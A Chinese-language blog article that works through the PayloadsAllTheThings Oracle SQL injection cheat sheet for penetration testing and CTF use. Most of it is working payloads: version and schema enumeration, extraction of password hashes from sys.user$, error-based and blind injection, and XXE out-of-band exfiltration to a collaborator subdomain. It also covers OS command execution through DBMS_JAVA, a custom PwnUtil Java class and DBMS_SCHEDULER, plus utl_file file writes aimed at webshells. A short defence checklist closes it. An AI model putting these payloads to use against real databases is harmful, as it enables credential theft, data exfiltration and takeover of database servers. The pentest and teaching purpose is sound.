尧图网站设计 尧图网站设计YAOTU DESIGN
ARTICLE DETAIL

资讯详情

深耕网站设计与一线实操的经验洞察。

PayloadsAllTheThings 之 Oracle SQL 注入实战指南:枚举、报错、盲注到命令执行全流程

PayloadsAllTheThings 之 Oracle SQL 注入实战指南:枚举、报错、盲注到命令执行全流程 网络安全应用安全渗透测试【免费下载链接】PayloadsAllTheThingsA list of useful payloads and bypass for Web Application Security and Pentest/CTF项目地址https://gitcode.com/GitHub_Trending/pa/PayloadsAllTheThings点击查看免费下载本文以 PayloadsAllTheThings 仓库中的 OracleSQL Injection.md 为骨架系统整理 Oracle 数据库 SQL 注入的完整攻击面从默认库识别、版本/主机/库名枚举、凭据提取到报错注入、布尔与时间盲注、OOB 外带直至 Java 命令执行与文件读写。读完本文你将获得一套可直接用于 Web 渗透测试与 CTF 的 Oracle SQLi 速查能力并能理解每个 payload 背后的 Oracle 特性DUAL、ROWNUM、||拼接、DBMS_* 包等从而在实战中自主组合与变通。Oracle SQL Injection 是攻击者将恶意 SQL 代码注入由 Oracle 数据库执行的查询中所形成的一类安全漏洞。当应用程序未对用户输入做充分的过滤sanitization或参数化parameterization时攻击者即可操纵查询逻辑进而导致未授权访问、数据篡改甚至数据库服务器被完全控制。本仓库的 OracleSQL Injection.md 与 SQL Injection/README.md 共同构成了一套面向 Oracle 的完整 payload 速查体系。Oracle 基础特性与默认库默认数据库SYSTEM / SYSAUXOracle 实例中始终存在两个与版本无关的默认数据库/表空间是注入初期判断目标环境的切入点NameDescriptionSYSTEMAvailable in all versionsSYSAUXAvailable in all versionsSYSTEM表空间承载数据字典SYS.USER$、SYS.ALL_TABLES等SYSAUX自 Oracle 10g 引入用于存放各类辅助组件数据。注入探测时可通过查询dba_tablespaces或直接尝试读取SYSTEM下的对象来验证访问权限。Oracle 注释语法TypeCommentSingle-Line Comment--Multi-Line Comment/**/与 MySQL 的#不同Oracle 单行注释只认--后面可接空格或直接换行多行注释用/**/。在构造闭合 payload 时--是最常用的截断手段/**/则可充当无空格环境下的分隔符绕过简单 WAF。Oracle 与其它 DBMS 的关键差异在进入枚举之前必须牢记 Oracle 的三个独特语言特性它们直接决定了 payload 的写法必须有FROM子句Oracle 不允许无表SELECT因此所有表达式查询都要挂接伪表dual如SELECT user FROM dual。没有LIMIT行数限制靠ROWNUM伪列例如WHERE rownum1只取第一行。字符串拼接用||Oracle 没有 MySQL 的CONCAT(a,b)直接等价物有CONCAT但仅双参注入闭合时常以||payload--形式追加表达式正如主文档在报错注入一节所强调的当注入点位于字符串内部时使用||PAYLOAD--。注入点发现与 DBMS 指纹识别发现注入点后第一步是确认后端到底是哪种数据库。仓库 SQL Injection/README.md 的 DBMS Identification 一节给出了专用于 Oracle 的关键字指纹 payloadROWNUMROWNUM RAWTOHEX(AB)RAWTOHEX(AB) LNNVL(0123)其中ROWNUMROWNUM与LNNVL(0123)LNNVL是 Oracle 特有的当条件为 false 或未知时返回 true的函数在其他主流数据库上都会直接报语法错误因此非常适合做布尔式探针。同时触发错误后观察错误消息也是高效的指纹手段。README 列出的 Oracle 典型报错包括ORA-00933: SQL command not properly ended注入触发ORA-01756: quoted string not properly terminated注入触发ORA-00923: FROM keyword not found where expected注入1触发而仓库 Generic_ErrorBased.txt 中成组的ORDER BY N--序列N 从 1 递增到 30 乃至 31337则是通用的 UNION 列数探测词表同样适用于 Oracle。Oracle SQL 枚举版本 / 主机名 / 库名主文档 OracleSQL Injection.md 的 Enumeration 表格覆盖了三种核心元数据均为实战中最先确认的信息DescriptionSQL QueryDBMS versionSELECT user FROM dual UNION SELECT * FROM v$versionDBMS versionSELECT banner FROM v$version WHERE banner LIKE Oracle%;DBMS versionSELECT banner FROM v$version WHERE banner LIKE TNS%;DBMS versionSELECT BANNER FROM gv$version WHERE ROWNUM 1;DBMS versionSELECT version FROM v$instance;HostnameSELECT UTL_INADDR.get_host_name FROM dual;HostnameSELECT UTL_INADDR.get_host_name(10.0.0.1) FROM dual;HostnameSELECT UTL_INADDR.get_host_address FROM dual;HostnameSELECT host_name FROM v$instance;Database nameSELECT global_name FROM global_name;Database nameSELECT name FROM V$DATABASE;Database nameSELECT instance_name FROM V$INSTANCE;Database nameSELECT SYS.DATABASE_NAME FROM DUAL;Database nameSELECT sys_context(USERENV, CURRENT_SCHEMA) FROM dual;使用要点v$version是动态性能视图banner列包含 Oracle Database 19c ... 与 TNS for Linux ... 等完整版本串gv$version是其在 RAC多实例环境下的全局视图。UTL_INADDR.get_host_name/get_host_address本身是反向解析函数注入场景下还能充当外带通道见下文 OOB 部分不带参数时解析本机。sys_context(USERENV,CURRENT_SCHEMA)返回当前会话默认 Schema是最轻量的我在哪个库探测方式。第一行的SELECT user FROM dual UNION SELECT * FROM v$version在实战中要求两侧列数一致通常更适合先确认v$version的列数再构造 UNION更稳妥的版本探测优先使用下方带ROWNUM1的单行查询。数据库凭据提取QueryDescriptionSELECT username FROM all_users;Available on all versionsSELECT name, password from sys.user$;Privileged, 10gSELECT name, spare4 from sys.user$;Privileged, 11gall_users对所有连接用户可见仅返回用户名PUBLIC可见视图。sys.user$是存储口令哈希的系统表需要高权限10g 及以前口令哈希位于password列11g 起迁移至spare4列10g 的password列在 11g 中已不再填充。提取出的哈希如 10g 的XXXX...与 11g 的S:...格式可用于离线破解或 Pass-the-Hash 类攻击。方法论库 / 表 / 列 三级枚举主文档给出了一套标准的三层枚举流程全部基于数据字典视图ALL_*这些视图仅返回当前用户有权访问的对象注入权限较小时同样可用。List Databases枚举 SchemaSELECT DISTINCT owner FROM all_tables; SELECT OWNER FROM (SELECT DISTINCT(OWNER) FROM SYS.ALL_TABLES)Oracle 中与 MySQL 的SHOW DATABASES对应的是所有者owner/schema概念即从all_tables中取 DISTINCT 的owner列。List Tables枚举表SELECT table_name FROM all_tables; SELECT owner, table_name FROM all_tables; SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE %PASS%; SELECT OWNER,TABLE_NAME FROM SYS.ALL_TABLES WHERE OWNERDBNAME第三条按列名模糊搜索如%PASS%、%USER%、%SECRET%是快速定位敏感表的技巧第四条按指定 owner 过滤适合在已知目标 schema 后精准列出其表。List Columns枚举列SELECT column_name FROM all_tab_columns WHERE table_name blah; SELECT COLUMN_NAME,DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAMETABLE_NAME AND OWNERDBNAME第二条同时带出DATA_TYPE便于在 UNION 注入中判断目标列的数据类型从而决定是用字符串还是数值占位。仓库 FUZZDB_Oracle.txt 对上述枚举做了自动化扩展它将SYS.ALL_USERS、SYS.USER$、sys.all_tables、all_tab_columns、dba_role_privs等视图与ROWNUM AS LIMIT分页技巧结合逐行吐出用户名、密码哈希、表名、列名与角色可直接导入 Burp Intruder 作为 Oracle 专属枚举字典。Oracle SQL 报错注入Error Based报错注入的思路是让目标查询中的子查询结果被塞进一个会抛出异常的 Oracle 函数/包使数据库把子查询内容拼进错误消息返回给攻击者。主文档的报错注入速查表DescriptionQueryInvalid HTTP RequestSELECT utl_inaddr.get_host_name((select banner from v$version where rownum1)) FROM dualCTXSYS.DRITHSX.SNSELECT CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum1)) FROM dualInvalid XPathSELECT ordsys.ord_dicom.getmappingxpath((select banner from v$version where rownum1),user,user) FROM dualInvalid XMLSELECT to_char(dbms_xmlgen.getxml(select #124;#124;(select user from sys.dual)#124;#124; FROM sys.dual)) FROM dualInvalid XMLSELECT rtrim(extract(xmlagg(xmlelement(s, username #124;#124; ,)),/s).getstringval(),,) FROM all_usersSQL ErrorSELECT NVL(CAST(LENGTH(USERNAME) AS VARCHAR(4000)),CHR(32)) FROM (SELECT USERNAME,ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT1))XDBURITYPE getblobXDBURITYPE((SELECT banner FROM v$version WHERE banner LIKE Oracle%)).getblob()XDBURITYPE getclobXDBURITYPE((SELECT table_name FROM (SELECT ROWNUM r,table_name FROM all_tables ORDER BY table_name) WHERE r1)).getclob()XMLTypeAND 1337(SELECT UPPER(XMLType(CHR(60)\|\|CHR(58)\|\|~\|\|(REPLACE(REPLACE(REPLACE(REPLACE((SELECT banner FROM v$version), ,_),$,(DOLLAR)),,(AT)),#,(HASH)))\|\|~\|\|CHR(62))) FROM DUAL) -- -DBMS_UTILITYAND 1337DBMS_UTILITY.SQLID_TO_SQLHASH(~\|\|(SELECT banner FROM v$version)\|\|~) -- -各通道的适用场景与原理UTL_INADDR.get_host_name(...)传入非法主机名时抛出ORA-29257之类的错误错误信息中带出子查询内容这是最早也最经典的 Oracle 报错注入但部分较新版本已收紧该函数权限。CTXSYS.DRITHSX.SNOracle TextContext组件提供的函数组件未安装时不可用。ordsys.ord_dicom.getmappingxpathOracle MultimediaDICOM组件的函数同样依赖组件存在。dbms_xmlgen.getxml/XMLType/EXTRACTVALUE通过生成非法 XML 或 XPath 触发ORA-31011/ORA-31061类错误来泄露数据dbms_xmlgen.getxml写法中#124;#124;是 HTML 实体编码的||用于在字符串内拼接子查询。XDBURITYPE(...).getblob()/getclob()XDB 组件函数直接对子查询结果调用 BLOB/CLOB 读取错误消息回显数据。DBMS_UTILITY.SQLID_TO_SQLHASH将拼接了子查询结果的字符串转换为 SQL 哈希出错时在消息中回显原文。XML 类 payload 中常用REPLACE链 →_、$→(DOLLAR)等把特殊字符转义掉避免引号或标签字符破坏错误消息的完整性——这一细节在实战中经常决定报错注入是否可用。当注入点在字符串内部时统一按主文档的提示使用||PAYLOAD--先闭合再拼接。Oracle SQL 盲注Blind当应用不回显错误、只返回页面正常/异常两种状态时退化为布尔盲注。主文档给出的布尔探针模板DescriptionQueryVersion is 12.2SELECT COUNT(*) FROM v$version WHERE banner LIKE Oracle%12.2%;Subselect is enabledSELECT 1 FROM dual WHERE 1(SELECT 1 FROM dual)Table log_table existsSELECT 1 FROM dual WHERE 1(SELECT 1 from log_table);Column message exists in table log_tableSELECT COUNT(*) FROM user_tab_cols WHERE column_name MESSAGE AND table_name LOG_TABLE;First letter of first message is tSELECT message FROM log_table WHERE rownum1 AND message LIKE t%;这组探针展示了盲注的两个通用化技巧存在性判定1(SELECT ...)把子查询强制转成布尔条件子查询无结果时整式恒假页面行为随之不同。字符猜测LIKE t%配合rownum1逐字符猜解COUNT(*)则用于确认列/表是否存在避免猜解时误判。盲注的 Substring 等效替代FunctionExampleSUBSTRSUBSTR(foobar, START, LENGTH)逐字符盲注离不开SUBSTR。在禁止逗号的过滤环境下可改写为SUBSTR(foobar FROM START FOR LENGTH)的形式该写法在 SQL Injection/README.md 的 No Comma Allowed 一节有通用说明再配合ASCII()或CHR()做数值化比较即可二分猜解任意字符串。Oracle SQL 时间盲注Time BasedOracle 没有 MySQL 的SLEEP()其标准延时原语是管道通信函数DBMS_PIPE.RECEIVE_MESSAGE——它从指定管道读取消息若管道为空则阻塞等待等待秒数由第三个参数控制AND [RANDNUM]DBMS_PIPE.RECEIVE_MESSAGE([RANDSTR],[SLEEPTIME]) AND 1337(CASE WHEN (11) THEN DBMS_PIPE.RECEIVE_MESSAGE(RANDSTR,10) ELSE 1337 END)第一行是固定延时模板[SLEEPTIME]处填秒数即可无条件阻塞[RANDNUM]/[RANDSTR]用随机值避免被 WAF 特征匹配。第二行是条件延时CASE WHEN (条件) THEN DBMS_PIPE.RECEIVE_MESSAGE(RANDSTR,10) ELSE 1337 END条件为真时阻塞 10 秒为假时立即返回从而把布尔盲注升级为时间信道。需要说明的是DBMS_PIPE属于SYS所有但 Oracle 默认将EXECUTE权限授予PUBLIC因此普通注入用户通常也能调用。仓库 Generic_TimeBased.txt 收录了跨数据库的延时 payload 集合其中DBMS_PIPE.RECEIVE_MESSAGE类变体可直接复用到 Oracle 目标的自动化模糊测试中。Oracle SQL 外带Out of Band / OAST当注入点不回显、也无法用延时如网络抖动大时可借助 Oracle 的 XML 外部实体加载把数据带到攻击者控制的服务器上配合 Burp Collaborator 等接收 DNS/HTTP 回连SELECT EXTRACTVALUE(xmltype(?xml version1.0 encodingUTF-8?!DOCTYPE root [ !ENTITY % remote SYSTEM http://||(SELECT YOUR-QUERY-HERE)||.BURP-COLLABORATOR-SUBDOMAIN/ %remote;]),/l) FROM dual原理拆解xmltype(...)将字符串解析为 XML 文档其中!DOCTYPE root [!ENTITY % remote SYSTEM http://...]声明了一个外部实体remote实体 URL 中通过||拼接了(SELECT YOUR-QUERY-HERE)的子查询结果使每次请求的域名都带上目标数据如版本号、用户名EXTRACTVALUE(...,/l)触发解析过程强制数据库向该 URL 发起请求攻击者只需在自己的子域名下监听 DNS/HTTP 请求即可从回调域名中还原数据。该技术同样适用于 HTTP 外带UTL_HTTP.REQUEST且在 FUZZDB_Oracle.txt 中也能看到utl_http.request(httP://192.168.1.1/)与utl_inaddr.get_host_address(...)作为外带/枚举组合的经典用法。Oracle SQL 命令执行RCE命令执行是 Oracle SQLi 利用链的终点。主文档给出了四条主要路径并指向了自动化工具ODATOracle Database Attacking Toolquentinhardy/odat作为辅助该工具专注于 Oracle 数据库的渗透测试可在获得注入点后大幅简化提权与命令执行流程。路径一Java 存储过程执行Oracle 内置 Java 虚拟机可利用DBMS_JAVA相关包调用 Java 类执行系统命令。1. 列出 Java 权限策略select * from dba_java_policy select * from user_java_policy2. 授予权限以用户SCOTT为例授予文件与文件描述符读写权限exec dbms_java.grant_permission(SCOTT, SYS:java.io.FilePermission,ALL FILES,execute); exec dbms_java.grant_permission(SCOTT,SYS:java.lang.RuntimePermission, writeFileDescriptor, ); exec dbms_java.grant_permission(SCOTT,SYS:java.lang.RuntimePermission, readFileDescriptor, );3. 执行命令分版本使用不同入口10g R2、11g R1/R2DBMS_JAVA_TEST.FUNCALL()SELECT DBMS_JAVA_TEST.FUNCALL(oracle/aurora/util/Wrapper,main,c:\\windows\\system32\\cmd.exe,/c, dir c:\test.txt) FROM DUAL SELECT DBMS_JAVA_TEST.FUNCALL(oracle/aurora/util/Wrapper,main,/bin/bash,-c,/bin/ls/tmp/OUT2.LST) from dual11g R1/R2DBMS_JAVA.RUNJAVA()SELECT DBMS_JAVA.RUNJAVA(oracle/aurora/util/Wrapper /bin/bash -c /bin/ls/tmp/OUT.LST) FROM DUAL两个函数都通过oracle/aurora/util/Wrapper这个 Oracle 自带的 Java 包装类把参数转发给Runtime.exec从而在数据库主机上启动系统进程。注意 Windows 路径中的反斜杠在 SQL 字符串里要写成\\。路径二自定义 Java 类PwnUtil若目标封堵了 Wrapper 类可先创建自定义 Java 类再调用BEGIN EXECUTE IMMEDIATE create or replace and compile java source named PwnUtil as import java.io.*; public class PwnUtil{ public static String runCmd(String args){ try{ BufferedReader myReader new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream()));String stemp, str ;while ((stemp myReader.readLine()) ! null) str stemp \n;myReader.close();return str;} catch (Exception e){ return e.toString();}} public static String readFile(String filename){ try{ BufferedReader myReader new BufferedReader(new FileReader(filename));String stemp, str ;while((stemp myReader.readLine()) ! null) str stemp \n;myReader.close();return str;} catch (Exception e){ return e.toString();}}};; END; BEGIN EXECUTE IMMEDIATE create or replace function PwnUtilFunc(p_cmd in varchar2) return varchar2 as language java name PwnUtil.runCmd(java.lang.String) return String;; END;类PwnUtil提供了runCmd执行命令并回显 stdout与readFile读取文件两个方法第二个 PL/SQL 块把它们包装成 SQL 函数PwnUtilFunc这样就能在普通SELECT中调用SELECT PwnUtilFunc(ping -c 4 localhost) FROM dual;若注入点无法直接执行多语句/DDL如CREATE可用十六进制编码绕过将整个建类脚本先hextoraw解码、再用dbms_xmlquery.getxmlEXECUTE IMMEDIATE执行主文档给出了完整的 hex 编码 payload637265617465206f72207265706c616365...即上述建类/建函数语句的 hex 形式。该技巧的核心价值在于单条SELECT即可完成建类 → 建函数 → 调用的完整 RCE 链路。路径三os_command包某些环境预置了自定义的os_command包如渗透测试中通过DBMS_SCHEDULER或 Java 提前植入的辅助包可直接执行命令并返回 CLOB 结果SELECT os_command.exec_clob(COMMAND) cmd from dual路径四DBMS_SCHEDULER作业利用 Oracle 调度器创建操作系统级作业job_type EXECUTABLE来执行任意命令DBMS_SCHEDULER.CREATE_JOB (job_name exec, job_type EXECUTABLE, job_action COMMAND, enabled TRUE)EXECUTABLE类型的作业由数据库服务器的 OS 层直接启动指定程序无需 Java 组件是对 Java 路径被封锁时的有效替代。若需在注入点中调用通常要配合EXECUTE IMMEDIATE或 PL/SQL 块执行。Oracle SQL 文件读写File Manipulation文件读写仅在 stacked query堆叠查询场景下可用——即应用程序允许一次执行多条以分号分隔的语句例如...;后再接utl_file调用。若注入点只能单条 SELECT则该部分不可达。读文件utl_file.get_line(utl_file.fopen(/path/to/,file,R), buffer)utl_file.fopen以只读模式R打开服务器上的文件utl_file.get_line逐行读取到缓冲区。注意 Oracle 的utl_file受UTL_FILE_DIR初始化参数限制只能访问白名单目录另外读取方向常需配合 JavareadFile类的方式绕过目录限制。写文件utl_file.put_line(utl_file.fopen(/path/to/,file,R), buffer)说明原文此处以R模式打开并写入属速查表笔误实际写文件应使用W覆盖或A追加模式落地到 Web 目录写 Webshell、或写入 OS 计划任务cron是常见的两个利用方向。文件读写成功后可进一步与命令执行链路组合写脚本 → 调度执行形成完整的写文件 → RCE闭环。工具与词表让利用自动化除了手工 payload仓库还提供了可直接投喂给扫描器/模糊测试器的 Oracle 专属资源FUZZDB_Oracle.txtOracle 定向枚举词表内置UTL_INADDR外带、SYS.USER$凭据提取、ALL_TABLES/ALL_TAB_COLUMNS分页枚举等自动化模板适合 Burp Intruder 与 sqlmap 的--tamper/自定义 payload 场景。Generic_ErrorBased.txt跨数据库报错/ORDER BY探测序列用于确认注入点与 UNION 列数。Generic_TimeBased.txt含DBMS_PIPE.RECEIVE_MESSAGE在内的跨库时间盲注词表。SQLmap.mdsqlmap 使用指南sqlmap 已内置 Oracle 的布尔、报错、时间盲注与 OOB 支持可指定--dbmsoracle快速接管目标。SQL Injection/README.md整套 SQLi 速查的入口包含 DBMS 指纹、UNION/报错/盲注通用方法论、WAF 绕过无空格、无逗号、无等号、大小写变体等横向知识与本文的 Oracle 专项内容互为补充。防御要点对照攻击链理解攻击链后防御措施可以逐一对号入座参数化查询 / 绑定变量所有用户输入必须经:placeholder绑定杜绝字符串拼接——这是根除注入的第一道防线。最小权限Web 应用连接账号不应具备SYS.USER$读取、DBMS_JAVA/DBMS_SCHEDULER调用、UTL_FILE目录访问等权限本文枚举与 RCE 章节中的所有 payload 都依赖这些特权面。收敛报错信息生产环境不向前端返回原始 ORA- 错误可显著削弱报错注入Error Based信道。网络层出口管控限制数据库服务器对外 DNS/HTTP 出站可切断 OOB 外带OAST信道。补丁与组件管控UTL_INADDR、DBMS_XMLGEN、XDB、Oracle Text 等组件若未使用应及时停用或收紧权限减小报错注入与 XML 外带的攻击面。延伸阅读仓库内资源主速查OracleSQL Injection.md通用 SQLi 方法论与 WAF 绕过SQL Injection/README.mdOracle 定向模糊测试词表FUZZDB_Oracle.txt报错注入通用序列Generic_ErrorBased.txt时间盲注通用序列Generic_TimeBased.txtsqlmap 自动化指南SQLmap.md其他数据库专项速查MSSQL Injection.md、MySQL Injection.md、PostgreSQL Injection.md、SQLite Injection.md赞分享网络安全应用安全渗透测试【免费下载链接】PayloadsAllTheThingsA list of useful payloads and bypass for Web Application Security and Pentest/CTF项目地址https://gitcode.com/GitHub_Trending/pa/PayloadsAllTheThings点击查看免费下载相关推荐从 Ledger/Hledger 迁移到 Transityledger2transity 导入完整教程从 Ledger/Hledger 迁移到 Transityledger2transity 导入完整教程 如果你正在使用 Ledger 或 Hledger 这类网络安全应用安全渗透测试MSSQL 注入实战全指南从枚举、盲注到命令执行与域渗透基于 PayloadsAllTheThingsMSSQL 注入实战全指南从枚举、盲注到命令执行与域渗透基于 PayloadsAllTheThings MSSQL 注入Microsoft SQL Se网络安全应用安全渗透测试CyberStrikeAI 知识库实战Oracle SQL 注入速查表枚举、报错/盲注/时间/OAST、命令执行与文件读写CyberStrikeAI 知识库实战Oracle SQL 注入速查表枚举、报错/盲注/时间/OAST、命令执行与文件读写 本文以 knowledge_b网络安全渗透测试人工智能大模型AI AgentRAG后端前端MCP 服务漏洞扫描上一篇3 分钟开箱用 UnrealPakViewer 给几 GB 的 Pak 行李箱做一次可视化称重下一篇Windows实时语音转文字工具TMSpeech实测全离线免费为什么开会摸鱼再也不慌了创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
返回列表